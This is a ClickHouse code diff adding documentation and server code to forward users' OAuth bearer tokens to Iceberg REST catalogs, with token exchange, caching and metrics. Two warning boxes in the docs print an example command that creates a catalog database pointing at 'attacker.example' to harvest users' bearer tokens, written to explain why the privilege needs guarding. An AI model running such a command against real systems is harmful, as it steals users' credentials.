Antalya 26.6: Forward auth tokens to data lake catalogs

docs/en/engines/database-engines/datalake.md

@@ -61,6 +61,12 @@ The following settings are supported:
 | `dlf_access_key_id`     | Access key ID for DLF access                                                                  |
 | `dlf_access_key_secret` | Access key Secret for DLF access                                                              |
 | `namespaces`            | Comma-separated list of namespaces, implemented for catalog types: `rest`, `glue` and `unity` |
+| `oauth_forward_user_token` | Authenticate to the catalog as the user running the query instead of as the shared service principal. Iceberg REST only. See [Forwarding the user's identity to the catalog](#user-token-forwarding) |
+| `oauth_token_exchange_uri` | Empty (the default) forwards the user's token unchanged; non-empty performs an RFC 8693 token exchange at this URL first |
+| `oauth_subject_token_type` | RFC 8693 `subject_token_type` of the forwarded token. Default `urn:ietf:params:oauth:token-type:access_token` |
+| `oauth_requested_token_type` | RFC 8693 `requested_token_type`; empty omits the field. Default `urn:ietf:params:oauth:token-type:access_token` |
+| `oauth_forward_actor_token` | Send the service principal's own token as the RFC 8693 `actor_token`. Default `0`. See [Delegation with an actor token](#user-token-forwarding-actor-token) |
+| `oauth_user_token_cache_ttl` | Maximum lifetime (in seconds) of a cached exchanged session token; `0` disables caching. Default `300` |
 
 ## Examples {#examples}
 
@@ -86,6 +92,133 @@ SELECT count() from database_name.table_name;
 ```
 To authenticate without sharing a client secret, set `onelake_bearer_token` to a pre-obtained bearer token (scoped to `https://storage.azure.com`) instead of `onelake_client_id`/`onelake_client_secret`. ClickHouse does not refresh the token, so the database must be recreated after it expires.
 
+## Forwarding the user's identity to the catalog {#user-token-forwarding}
+
+By default ClickHouse talks to an Iceberg REST catalog as a single shared service principal
+configured with `catalog_credential` or `auth_header`. The catalog therefore cannot see, authorize
+or audit the human behind a query, and every ClickHouse user gets identical catalog and storage
+access.
+
+With `oauth_forward_user_token = 1` the catalog is contacted as the user who is running the query.
+The identity that authenticated to ClickHouse becomes the identity the catalog authorizes, and the
+storage credentials the catalog vends are scoped to that identity.
+
+This requires:
+
+- the server-level [`enable_token_forwarding`](/operations/server-configuration-parameters/settings#enable_token_forwarding)
+  setting, which is `false` by default. Without it the token is destroyed right after
+  authentication and nothing can be forwarded;
+- `catalog_type = 'rest'`. No other catalog type can authenticate as the querying user, so the
+  setting is rejected for them rather than silently ignored;
+- users who authenticate with a token -- an `Authorization: Bearer` HTTP header, or `--jwt` for the
+  native protocol. See [Token-based authentication](/en/operations/external-authenticators/oauth).
+
+:::danger `CREATE DATABASE` becomes a privileged operation
+The token is sent to the URL that whoever created the database chose. With forwarding enabled,
+anyone who can run `CREATE DATABASE d ENGINE = DataLakeCatalog('https://attacker.example/')` can
+harvest the bearer token of every user who queries that database. Grant `CREATE DATABASE`
+accordingly and keep `remote_url_allow_hosts` restrictive.
+:::
+
+### Passthrough: the default {#user-token-forwarding-passthrough}
+
+On its own, `oauth_forward_user_token = 1` forwards the user's bearer token to the catalog
+unchanged. This is what Lakekeeper, Nessie and Polaris-with-an-external-IdP accept, and it needs no
+token endpoint and no client credentials:
+
+```sql
+CREATE DATABASE demo
+ENGINE = DataLakeCatalog('http://lakekeeper:8181/catalog')
+SETTINGS
+    catalog_type = 'rest',
+    warehouse = 'demo',
+    oauth_forward_user_token = 1;
+```
+
+Because one token is presented both to ClickHouse and to the catalog, its audience must cover
+both. With Keycloak this usually means adding an audience mapper to the ClickHouse client so the
+issued token carries the catalog's audience as well.
+
+### Token exchange: opt-in {#user-token-forwarding-exchange}
+
+Setting `oauth_token_exchange_uri` switches to an [RFC 8693](https://www.rfc-editor.org/rfc/rfc8693)
+token exchange against that URL, and the token obtained there is what the catalog sees. The
+presence of the URI *is* the mode -- there is no separate mode setting.
+
+Point it at your IdP's token endpoint to obtain a token whose audience the catalog accepts (the
+flow Lakekeeper documents):
+
+```sql
+CREATE DATABASE demo
+ENGINE = DataLakeCatalog('http://lakekeeper:8181/catalog')
+SETTINGS
+    catalog_type = 'rest',
+    warehouse = 'demo',
+    catalog_credential = 'clickhouse:<client-secret>',
+    auth_scope = 'lakekeeper',
+    oauth_forward_user_token = 1,
+    oauth_token_exchange_uri = 'http://keycloak:8080/realms/demo/protocol/openid-connect/token';
+```
+
+The exchange request authenticates itself with `client_id`/`client_secret` parsed out of
+`catalog_credential`, sent in the form body -- standard OAuth token-endpoint client authentication.
+`catalog_credential` is therefore mandatory when `oauth_token_exchange_uri` is set, and optional
+otherwise. `auth_scope` is reused as the exchange `scope`; its default value `PRINCIPAL_ROLE:ALL`
+is Polaris-specific and must be overridden for other targets (`scope = 'lakekeeper'` for
+Keycloak to Lakekeeper).
+
+`oauth_token_exchange_uri` may also point at a catalog's own `/v1/oauth/tokens` endpoint. Note that
+the Iceberg REST specification marks that endpoint **deprecated for removal** ("not recommended to
+implement… will be removed in Iceberg 2.0"), and several widely deployed catalogs (Lakekeeper among
+them) do not implement it at all. That is why the endpoint can only be reached by writing its URL
+out in full.
+
+### Delegation with an actor token {#user-token-forwarding-actor-token}
+
+By default the exchange asks for plain impersonation: the token the catalog sees names the user and
+nothing else. With `oauth_forward_actor_token = 1` the exchange also carries an `actor_token`, so a
+server that implements RFC 8693 delegation can see both parties -- `sub` is the user and `act` is
+ClickHouse -- and log or authorize accordingly. The setting requires `oauth_token_exchange_uri` and
+is rejected without it.
+
+The actor token is the service principal's own token, obtained with a `client_credentials` grant
+against `oauth_server_uri` (or the catalog's `/v1/oauth/tokens` when that setting is empty) using
+the credentials from `catalog_credential`. It is minted on first use and reused until it expires,
+and it is only ever sent as `actor_token` -- no catalog request is signed with it. Because of it,
+the `DataLakeRestCatalogClientCredentialsGrants` profile event is expected to be non-zero with this
+setting on; with it off, a non-zero value while forwarding still means a request fell back to the
+shared identity.
+
+If minting the actor token fails, the query fails. ClickHouse does not fall back to an exchange
+without delegation: silently downgrading is exactly what enabling the setting asks to avoid.
+
+Only turn it on against a server that can validate the token. An IdP cannot validate a token it did
+not issue for that purpose and will normally reject the whole exchange.
+
+### What is and is not covered {#user-token-forwarding-scope}
+
+- Every catalog request made on behalf of a query carries the user's identity: listing namespaces
+  and tables, loading table metadata, and the write paths (`INSERT`, `ALTER`, mutations,
+  `DROP TABLE`, snapshot expiry).
+- Storage credentials vended by the catalog are cached per principal, so one user never receives
+  the credentials the catalog issued to another.
+- Requests with no user token are refused with `CATALOG_USER_TOKEN_NOT_AVAILABLE`. ClickHouse never
+  falls back to the service principal: that would turn an authorization failure into a query that
+  succeeds under the wrong identity. `system.tables` and `SHOW TABLES` swallow catalog errors by
+  design, so there they show an empty list rather than an error.
+- SSO ends at the catalog. When `object_storage_cluster` is set, the table-scoped credentials the
+  catalog vended are sent to the worker nodes as query-AST literals over the interserver channel.
+  Configure `interserver_https_port` or a cluster `<secret>` before combining forwarding with a
+  cluster read.
+- HTTP re-authenticates on every request, so a rotated token takes effect immediately. A native
+  TCP connection authenticates once at handshake time, so a long-lived `clickhouse-client --jwt`
+  session must reconnect to pick up a fresh token.
+- Catalog credentials cannot be rotated in place; changing them requires `DROP DATABASE` followed
+  by `CREATE DATABASE`.
+
+None of the forwarding settings hold a secret, so unlike `catalog_credential` they are shown in
+full by `SHOW CREATE DATABASE` and `system.databases.engine_full`.
+
 ## Namespace filter {#namespace}
 
 By default, ClickHouse reads tables from all namespaces available in the catalog. You can limit this behavior using the `namespaces` database setting. The value should be a comma‑separated list of namespaces that are allowed to be read.

docs/en/operations/external-authenticators/tokens.md

@@ -300,6 +300,48 @@ To reduce number of requests to IdP, tokens are cached internally for a maximum
 If token expires sooner than `token_cache_lifetime`, then cache entry for this token will only be valid while token is valid.
 If token lifetime is longer than `token_cache_lifetime`, cache entry for this token will be valid for `token_cache_lifetime`. 
 
+## Forwarding the token to external services {#token-forwarding}
+
+By default the bearer token a user authenticated with is destroyed as soon as authentication
+succeeds: it lives only on the stack of the HTTP or native protocol handler and reaches neither
+the session nor the query context.
+
+Setting `enable_token_forwarding` to `1` in `config.xml` keeps the token on the session so it can
+be presented to an external service on the user's behalf:
+
+```xml
+<enable_token_forwarding>1</enable_token_forwarding>
+```
+
+The only consumer today is the [`DataLakeCatalog`](/engines/database-engines/datalakecatalog)
+database engine, whose `oauth_forward_user_token` setting makes an Iceberg REST catalog authorize
+the human running the query instead of a shared service principal. See
+[Forwarding the user's identity to the catalog](/engines/database-engines/datalakecatalog#user-token-forwarding)
+for the database side.
+
+The setting is hot-reloadable, and is `false` by default because it widens where the secret lives:
+without it the only copy is the private token cache inside `ExternalAuthenticators`, with it the
+token is reachable from any storage or table function that receives the query context.
+
+:::danger `CREATE DATABASE` becomes a privileged operation
+A forwarded token is sent to a URL chosen by whoever created the database it is forwarded for.
+With forwarding enabled, the right to run
+`CREATE DATABASE d ENGINE = DataLakeCatalog('https://attacker.example/')` is the right to harvest
+the bearer token of every user who queries that database. Grant it accordingly, and keep
+`remote_url_allow_hosts` restrictive -- it is enforced on the token-exchange endpoint as well as
+on catalog requests.
+:::
+
+What is forwarded is always the token that was actually verified for this session. It is
+deliberately not carried in `ClientInfo`, so it is not copied into a context rebuilt by
+`EXECUTE AS` or by a DEFINER view, cannot be supplied by a peer over the interserver protocol, and
+is never serialized to the wire or to disk.
+
+Because HTTP re-authenticates on every request, a rotated token takes effect on the next query. A
+native TCP connection authenticates once during the handshake, so a long-running
+`clickhouse-client --jwt` session keeps presenting the token it connected with and must reconnect
+to pick up a fresh one.
+
 ## Enabling token authentication for a user in `users.xml` {#enabling-jwt-auth-in-users-xml}
 
 In order to enable token-based authentication for the user, specify `jwt` section instead of `password` or other similar sections in the user definition.

src/Access/AccessControl.cpp

@@ -295,6 +295,7 @@ void AccessControl::setupFromMainConfig(const Poco::Util::AbstractConfiguration
     setPasswordComplexityRulesFromConfig(config_);
 
     setTokenAuthEnabled(config_.getBool("enable_token_auth", true));
+    setTokenForwardingEnabled(config_.getBool("enable_token_forwarding", false));
 
     setBcryptWorkfactor(config_.getInt("bcrypt_workfactor", 12));
 
@@ -705,6 +706,7 @@ void AccessControl::setExternalAuthenticatorsConfig(const Poco::Util::AbstractCo
     /// value in place -- operators who toggle token auth off in response to an
     /// IdP outage or a credential leak would see no effect until restart.
     setTokenAuthEnabled(config.getBool("enable_token_auth", true));
+    setTokenForwardingEnabled(config.getBool("enable_token_forwarding", false));
     external_authenticators->setConfiguration(config, getLogger(), token_http_timeouts, isTokenAuthEnabled());
 }
 
@@ -994,4 +996,14 @@ bool AccessControl::isTokenAuthEnabled() const
 {
     return enable_token_auth;
 }
+
+void AccessControl::setTokenForwardingEnabled(bool enable)
+{
+    enable_token_forwarding = enable;
+}
+
+bool AccessControl::isTokenForwardingEnabled() const
+{
+    return enable_token_forwarding;
+}
 }

src/Access/AccessControl.h

@@ -283,6 +283,12 @@ class AccessControl : public MultipleAccessStorage
     void setTokenAuthEnabled(bool enable);
     bool isTokenAuthEnabled() const;
 
+    /// Controls whether the token a user authenticated with is retained on the session so that it
+    /// can be forwarded to external services on that user's behalf. Off by default: a server that
+    /// does not use the feature keeps no new copy of the secret anywhere.
+    void setTokenForwardingEnabled(bool enable);
+    bool isTokenForwardingEnabled() const;
+
 private:
     class ContextAccessCache;
     class CustomSettingsPrefixes;
@@ -320,6 +326,7 @@ class AccessControl : public MultipleAccessStorage
     std::atomic_bool enable_read_write_grants = false;
     std::atomic_bool allow_impersonate_user = false;
     std::atomic_bool enable_token_auth = true;
+    std::atomic_bool enable_token_forwarding = false;
 };
 
 }

src/Access/ForwardedAuthToken.cpp

@@ -0,0 +1,18 @@
+#include <Access/ForwardedAuthToken.h>
+
+#include <Access/Credentials.h>
+#include <Common/SipHash.h>
+
+namespace DB
+{
+
+ForwardedAuthTokenPtr makeForwardedAuthToken(const TokenCredentials & credentials, const String & principal)
+{
+    auto result = std::make_shared<ForwardedAuthToken>();
+    result->token = credentials.getToken();
+    result->fingerprint = getSipHash128AsHexString(sipHash128(result->token.data(), result->token.size()));
+    result->principal = principal;
+    return result;
+}
+
+}

src/Access/ForwardedAuthToken.h

@@ -0,0 +1,39 @@
+#pragma once
+
+#include <base/types.h>
+
+#include <memory>
+
+namespace DB
+{
+
+class TokenCredentials;
+
+/// The bearer token a user authenticated to ClickHouse with, captured so that it can be forwarded
+/// to an external service (currently an Iceberg REST catalog) on that user's behalf.
+///
+/// This is deliberately *not* `ClientInfo::jwt`: `ClientInfo` is copied wholesale into contexts
+/// rebuilt for `EXECUTE AS` and DEFINER views, and `ClientInfo::read` assigns fields from the
+/// peer, so a `ClientInfo`-borne token could both run under the wrong identity and be supplied by
+/// a remote client. A `ForwardedAuthToken` is written in exactly one place -- `Session::authenticate`,
+/// from the credentials that were actually verified -- and is never serialized.
+struct ForwardedAuthToken
+{
+    /// Secret. Never log it, never put it in an exception message, never put it in a URL.
+    String token;
+    /// Non-secret cache key derived from `token` (`getSipHash128AsHexString`). Used instead of the
+    /// user name so that a cached response cannot outlive the credential that produced it: the
+    /// fingerprint changes as soon as the token is rotated.
+    String fingerprint;
+    /// Non-secret: the authenticated user name, for logs, metrics and per-user cache partitioning.
+    String principal;
+};
+
+/// The token is immutable once captured, so every holder shares one allocation.
+using ForwardedAuthTokenPtr = std::shared_ptr<const ForwardedAuthToken>;
+
+/// Builds a `ForwardedAuthToken` from verified credentials. `principal` must be the canonical
+/// `AuthResult::user_name`, not the name the client sent.
+ForwardedAuthTokenPtr makeForwardedAuthToken(const TokenCredentials & credentials, const String & principal);
+
+}

src/Common/CurrentMetrics.cpp

@@ -370,6 +370,8 @@
     M(DNSAddressesCacheSize, "Number of cached DNS addresses") \
     M(MarkCacheBytes, "Total size of mark cache in bytes") \
     M(MarkCacheFiles, "Total number of mark files cached in the mark cache") \
+    M(DataLakeCatalogUserTokenCacheBytes, "Total size in bytes of the per-user session tokens exchanged for data lake catalog access") \
+    M(DataLakeCatalogUserTokenCacheEntries, "Total number of per-user session tokens exchanged for data lake catalog access") \
     M(UniqueKeyIndexCacheBytes, "Total size of UNIQUE KEY index cache in bytes") \
     M(UniqueKeyIndexCacheEntries, "Total number of UNIQUE KEY index blocks cached") \
     M(DeleteBitmapCacheBytes, "Total size of the UNIQUE KEY delete-bitmap cache in bytes") \

src/Common/ErrorCodes.cpp

@@ -659,6 +659,7 @@
     M(777, MEMORY_RESERVATION_KILLED) \
     M(778, MEMORY_RESERVATION_FAILED) \
     M(779, CATALOG_NAMESPACE_DISABLED) \
+    M(780, CATALOG_USER_TOKEN_NOT_AVAILABLE) \
 \
     M(900, DISTRIBUTED_CACHE_ERROR) \
     M(901, CANNOT_USE_DISTRIBUTED_CACHE) \

src/Common/ProfileEvents.cpp

@@ -1713,6 +1713,12 @@ The server successfully detected this situation and will download merged part fr
     M(ObjectStorageListObjectsCachePrefixMatchHits, "Number of times object storage list objects operation miss the cache using prefix matching.", ValueType::Number) \
     M(DataLakeRestCatalogCredentialsVended, "Number of table metadata requests to REST catalog asking to vend storage credentials.", ValueType::Number) \
     M(DataLakeRestCatalogCredentialsCacheHits, "Number of table metadata requests to REST catalog reusing cached storage credentials.", ValueType::Number) \
+    M(DataLakeRestCatalogCredentialsCacheMisses, "Number of table metadata requests to REST catalog that had to vend fresh storage credentials because the per-principal cache did not hold them. With user token forwarding, a non-zero value for a second user proves the cache is partitioned per principal.", ValueType::Number) \
+    M(DataLakeRestCatalogTokenExchange, "Number of RFC 8693 token exchanges performed to obtain a session token for the querying user.", ValueType::Number) \
+    M(DataLakeRestCatalogTokenExchangeMicroseconds, "Total time of RFC 8693 token exchanges.", ValueType::Microseconds) \
+    M(DataLakeRestCatalogTokenExchangeFailures, "Number of RFC 8693 token exchanges that failed.", ValueType::Number) \
+    M(DataLakeRestCatalogUserTokenCacheHits, "Number of times a previously exchanged per-user session token was reused.", ValueType::Number) \
+    M(DataLakeRestCatalogClientCredentialsGrants, "Number of `client_credentials` grants performed as the catalog service principal. While user token forwarding is enabled the only legitimate source is `oauth_forward_actor_token`, which mints this token to send as the RFC 8693 `actor_token`; with that setting off the event must stay at zero, and a non-zero value means a request fell back to the shared identity.", ValueType::Number) \
     \
     M(DataLakeRestCatalogLoadConfig, "Number of 'load config' requests to Iceberg REST catalog.", ValueType::Number) \
     M(DataLakeRestCatalogLoadConfigMicroseconds, "Total time of 'load config' requests to Iceberg REST catalog.", ValueType::Microseconds) \